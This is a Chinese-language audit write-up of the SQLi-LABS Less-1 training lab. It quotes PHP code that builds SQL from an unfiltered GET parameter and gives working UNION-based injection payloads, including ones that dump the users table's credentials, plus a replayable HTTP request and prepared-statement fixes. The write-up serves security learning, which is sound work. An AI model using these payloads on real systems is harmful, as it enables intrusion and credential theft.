Less-1 代码审计报告:GET 字符型单引号报错注入

本报告基于 SQLi-LABS 教学靶场源码(授权范围内安全学习/代码审计)编写,所有代码定位均与 Less-1/index.php 实际文件一致。

1. 关卡概述

2. 漏洞代码定位

文件: Less-1/index.php

// 第 18-20 行:直接取 GET 参数,未做任何过滤
if(isset($_GET['id']))
{
$id=$_GET['id'];

// 第 29-30 行:字符串拼接构造 SQL,id 被包裹在单引号中
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);

// 第 42-45 行:查询失败时回显数据库错误信息
else 
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";  
}

关键漏洞点:

• 第 20 行:$id=$_GET['id']; 用户输入未经任何过滤直接进入 SQL。
• 第 29 行:WHERE id='$id' 字符串拼接,$id 被放入单引号内,可用单引号闭合。
• 第 44 行:print_r(mysql_error()); 将 MySQL 错误原样输出,暴露 SQL 结构。

3. 漏洞分析

• 输入来源:$_GET['id'],完全未过滤、未校验。
• SQL 拼接位置:WHERE id='$id' LIMIT 0,1,属于 WHERE 子句。
• 闭合方式:单引号字符串。原始 SQL 为 SELECT * FROM users WHERE id='$id'。若输入 1',则 SQL 变为 SELECT * FROM users WHERE id='1'' 报错,证明注入点存在。
• 是否回显:页面第 33-40 行在 $row 非空时回显 username/password(联合查询可利用回显位);第 44 行回显 mysql_error()(可用于确认注入点)。因此本关采用 报错确认 + UNION 联合查询提取数据。
• 防护情况:无任何防护(无转义、无黑名单、无参数化)。

4. 利用方式

步骤一:判断注入点

?id=1'          → 页面回显 mysql_error():"You have an error in your SQL syntax...'' LIMIT 0,1"
?id=1' and '1'='1 → 正常显示数据

单引号导致 SQL 语法错误,证明存在字符型注入。

步骤二:判断字段数(ORDER BY)

?id=1' ORDER BY 3-- -

正常显示 → 表有至少 3 列。

?id=1' ORDER BY 4-- -

报错(Unknown column ‘4’ in ‘order clause’)→ 确认正好 3 列。

步骤三:判断回显位

?id=-1' UNION SELECT 1,2,3-- -

页面显示 Your Login name: 2 / Your Password: 3,即第 2、3 列为回显位。

步骤四:数据提取(核心 Payload)

-- 爆当前数据库
-1' UNION SELECT 1,2,database()-- -
-- 爆当前用户
-1' UNION SELECT 1,2,user()-- -
-- 爆版本
-1' UNION SELECT 1,2,version()-- -
-- 爆所有数据库名
-1' UNION SELECT 1,2,group_concat(schema_name) FROM information_schema.schemata-- -
-- 爆 security 库所有表名
-1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'-- -
-- 爆 users 表所有用户名+密码
-1' UNION SELECT 1,group_concat(username),group_concat(password) FROM security.users-- -

预期结果:页面回显 Your Login name: security、Your Password: ... 等,直接获得库名/表名/数据。

5. Yakit 重放数据包

GET /sqli-labs/Less-1/?id=-1%27%20UNION%20SELECT%201,2,database()--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

说明:URL 中 %27='、%20=空格、--%20-=-- -(SQL 注释)。替换 payload 即可重放,例如 id=-1%27%20UNION%20SELECT%201,group_concat(username),group_concat(password)%20FROM%20security.users--%20-。

6. 修复建议

修复一(首选):使用 PDO 预处理语句

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$row = $stmt->fetch();

修复二:mysqli 预处理语句

<?php
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);   // 'i' 强制整型
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();

修复三:输入校验 + 最小权限

• 对 id 类参数强制 ctype_digit($id) / is_numeric($id) 校验,非数字直接拒绝:

  if (!ctype_digit($_GET['id'])) { die('Invalid ID'); }
  $id = (int)$_GET['id'];
  

• 关闭 display_errors,生产环境不向用户回显 mysql_error(),仅写日志。
• 数据库账号最小权限(只读账号),禁止 INTO OUTFILE、FILE 权限。
• 服务端升级到 PHP 7+ / 8+,移除 mysql_* 扩展(已废弃)。

附:验证与复现说明

• 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
• 复现前需:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、使用支持 mysql_* 的 PHP 5.x 环境。